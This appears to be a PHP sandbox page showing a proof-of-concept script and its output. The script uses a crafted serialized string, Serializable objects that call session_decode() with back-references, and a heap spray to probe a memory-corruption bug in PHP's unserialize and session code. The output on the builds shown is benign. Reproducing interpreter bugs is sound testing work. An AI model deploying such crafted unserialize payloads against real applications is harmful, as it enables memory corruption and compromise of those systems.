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<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { session_decode($data); } } $inner = 'r:2;'; $exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;C:3:"obj":'.strlen($inner).':{'.$inner.'}}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data); var_dump($_SESSION);
Output for git.master, git.master_jit, rfc.property-hooks
Deprecated: obj implements the Serializable interface, which is deprecated. Implement __serialize() and __unserialize() instead (or in addition, if support for old PHP versions is necessary) in /in/rpWBi on line 6 array(2) { [0]=> object(obj)#1 (1) { ["data"]=> NULL } [1]=> object(obj)#2 (1) { ["data"]=> NULL } } object(obj)#1 (1) { ["data"]=> NULL }

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